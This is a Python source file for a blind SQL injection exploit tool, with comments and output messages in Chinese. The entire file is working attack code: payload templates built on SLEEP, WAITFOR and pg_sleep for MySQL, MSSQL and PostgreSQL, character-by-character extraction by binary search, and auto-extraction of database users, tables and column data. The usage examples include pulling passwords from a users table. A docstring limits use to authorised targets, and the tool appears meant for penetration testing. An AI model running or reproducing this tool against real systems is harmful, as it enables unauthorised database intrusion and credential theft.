#!/usr/bin/env python3 """ Blind SQL Injection Exploit Tool 盲注利用工具 支持: - 时间盲注 (Time-based Blind) - 布尔盲注 (Boolean-based Blind) - 自动数据提取 - 多线程加速 Usage: # 时间盲注提取数据库名 python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql # 布尔盲注提取表名 python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1" # 提取当前数据库用户 python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user 授权边界: - 仅用于自有资产、测试环境或已明确授权的目标 - 建议优先使用最小化验证方式,避免对目标数据造成持久影响 - 不面向无授权第三方网站或泛互联网扫描 """ import argparse import requests import time import string import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Callable, Optional, List import sys class Colors: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" CYAN = "\033[96m" END = "\033[0m" BOLD = "\033[1m" class BlindSQLi: def __init__( self, url: str, param: str, method: str = "GET", data: dict = None, cookies: dict = None, delay: float = 1.0, threads: int = 1, ): self.url = url self.param = param self.method = method self.data = data or {} self.cookies = cookies or {} self.delay = delay self.threads = threads self.session = requests.Session() self.session.headers.update( { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } ) self.charset = string.ascii_letters + string.digits + "_-@.{}" self.mysql_payloads = { "time": { "if": "1' AND IF(({condition}),SLEEP({delay}),0)-- -", "case": "1' AND (SELECT CASE WHEN ({condition}) THEN (SELECT SLEEP({delay})) ELSE 0 END)-- -", }, "bool": { "if": "1' AND IF({condition},1,0)-- -", "and": "1' AND {condition}-- -", }, } self.mssql_payloads = { "time": { "if": "1'; IF ({condition}) WAITFOR DELAY '0:0:{delay}'-- -", }, "bool": { "if": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -", }, } self.pg_payloads = { "time": { "case": "1' AND CASE WHEN ({condition}) THEN (SELECT pg_sleep({delay})) ELSE pg_sleep(0) END-- -", }, "bool": { "case": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -", }, } self.payloads = { "mysql": self.mysql_payloads, "mssql": self.mssql_payloads, "postgresql": self.pg_payloads, } self.extract_queries = { "mysql": { "user": "SELECT user()", "database": "SELECT database()", "version": "SELECT version()", "tables": "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()", "columns": "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table}'", "data": "SELECT {column} FROM {table} LIMIT {offset},1", }, "mssql": { "user": "SELECT SYSTEM_USER", "database": "SELECT DB_NAME()", "version": "SELECT @@version", }, "postgresql": { "user": "SELECT current_user", "database": "SELECT current_database()", "version": "SELECT version()", }, } def _send_request(self, payload: str) -> tuple: """发送请求并返回(响应内容, 响应时间)""" test_data = self.data.copy() test_data[self.param] = payload try: start = time.time() if self.method.upper() == "GET": params = urllib.parse.urlencode(test_data) full_url = f"{self.url}?{params}" resp = self.session.get( full_url, cookies=self.cookies, timeout=30, verify=False ) else: resp = self.session.post( self.url, data=test_data, cookies=self.cookies, timeout=30, verify=False, ) elapsed = time.time() - start return resp.text, elapsed except Exception as e: return None, 0 def test_condition_time(self, condition: str, dbms: str = "mysql") -> bool: """使用时间盲注测试条件""" payloads = self.payloads.get(dbms, self.mysql_payloads) template = payloads["time"].get("if") or payloads["time"].get("case") if not template: return False payload = template.format(condition=condition, delay=int(self.delay)) _, elapsed = self._send_request(payload) return elapsed >= self.delay - 0.5 def test_condition_bool( self, condition: str, true_indicator: str = None, false_indicator: str = None, dbms: str = "mysql", ) -> bool: """使用布尔盲注测试条件""" payloads = self.payloads.get(dbms, self.mysql_payloads) template = payloads["bool"].get("if") or payloads["bool"].get("and") if not template: return False payload = template.format(condition=condition) response, _ = self._send_request(payload) if not response: return False if true_indicator and false_indicator: return true_indicator.lower() in response.lower() payload_false = template.format(condition="1=0") response_false, _ = self._send_request(payload_false) if not response_false: return False return abs(len(response) - len(response_false)) > 50 def binary_search_char( self, position: int, query: str, technique: str = "time", dbms: str = "mysql", true_indicator: str = None, ) -> Optional[str]: """二分法查找字符""" low, high = 32, 126 test_func = ( self.test_condition_time if technique == "time" else self.test_condition_bool ) while low <= high: mid = (low + high) // 2 condition = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}" if technique == "bool": result = test_func(condition, true_indicator, None, dbms) else: result = test_func(condition, dbms) if result: low = mid + 1 else: high = mid - 1 if low > 32: condition = f"ASCII(SUBSTRING(({query}),{position},1))={low - 1}" if technique == "bool": result = test_func(condition, true_indicator, None, dbms) else: result = test_func(condition, dbms) if result: return chr(low - 1) return None def extract_string( self, query: str, technique: str = "time", dbms: str = "mysql", max_length: int = 100, true_indicator: str = None, ) -> str: """提取字符串""" result = [] print(f"\n{Colors.CYAN}[*] 开始提取数据: {query}{Colors.END}") print(f"{Colors.CYAN}[*] 技术: {technique}, 数据库: {dbms}{Colors.END}\n") for pos in range(1, max_length + 1): char = self.binary_search_char(pos, query, technique, dbms, true_indicator) if char is None: break result.append(char) current = "".join(result) print( f"\r{Colors.GREEN}[+] 已提取: {current}{Colors.END}", end="", flush=True ) print() return "".join(result) def extract_length( self, query: str, technique: str = "time", dbms: str = "mysql" ) -> int: """提取字符串长度""" for length in range(1, 1000): condition = f"LENGTH(({query}))={length}" if technique == "time": if self.test_condition_time(condition, dbms): return length else: if self.test_condition_bool(condition, dbms=dbms): return length return 0 def auto_extract( self, target: str, dbms: str = "mysql", technique: str = "time" ) -> str: """自动提取常用信息""" queries = self.extract_queries.get(dbms, self.extract_queries["mysql"]) if target not in queries: self._print("ERROR", f"未知的提取目标: {target}") return "" query = queries[target] return self.extract_string(query, technique, dbms) def _print(self, level: str, msg: str): colors = { "INFO": Colors.BLUE, "SUCCESS": Colors.GREEN, "WARNING": Colors.YELLOW, "ERROR": Colors.RED, } print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}") def main(): parser = argparse.ArgumentParser(description="Blind SQL Injection Exploit Tool") parser.add_argument("-u", "--url", required=True, help="目标URL") parser.add_argument("-p", "--param", required=True, help="注入参数") parser.add_argument( "-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法" ) parser.add_argument("-d", "--data", help="POST数据") parser.add_argument("-c", "--cookie", help="Cookie") parser.add_argument( "--technique", default="time", choices=["time", "bool"], help="盲注技术" ) parser.add_argument( "--dbms", default="mysql", choices=["mysql", "mssql", "postgresql"], help="数据库类型", ) parser.add_argument("--delay", type=float, default=1.0, help="时间盲注延迟(秒)") parser.add_argument("--query", help="自定义SQL查询") parser.add_argument( "--extract", choices=["user", "database", "version", "tables", "columns"], help="自动提取信息", ) parser.add_argument("--true-indicator", help="布尔盲注真值指示器") parser.add_argument("-t", "--threads", type=int, default=1, help="线程数") args = parser.parse_args() requests.packages.urllib3.disable_warnings() data = {} if args.data: for pair in args.data.split("&"): if "=" in pair: k, v = pair.split("=", 1) data[k] = v cookies = {} if args.cookie: for pair in args.cookie.split(";"): if "=" in pair: k, v = pair.strip().split("=", 1) cookies[k] = v exploit = BlindSQLi( url=args.url, param=args.param, method=args.method, data=data, cookies=cookies, delay=args.delay, threads=args.threads, ) print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}") print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}") print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n") if args.query: result = exploit.extract_string( args.query, args.technique, args.dbms, true_indicator=args.true_indicator ) print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}") elif args.extract: result = exploit.auto_extract(args.extract, args.dbms, args.technique) print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}") else: print( f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}" ) print(f"\n示例:") print(f" --extract user 提取当前用户") print(f" --extract database 提取当前数据库") print(f" --extract version 提取数据库版本") print(f' --query "SELECT password FROM users LIMIT 1"') print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n") if __name__ == "__main__": main()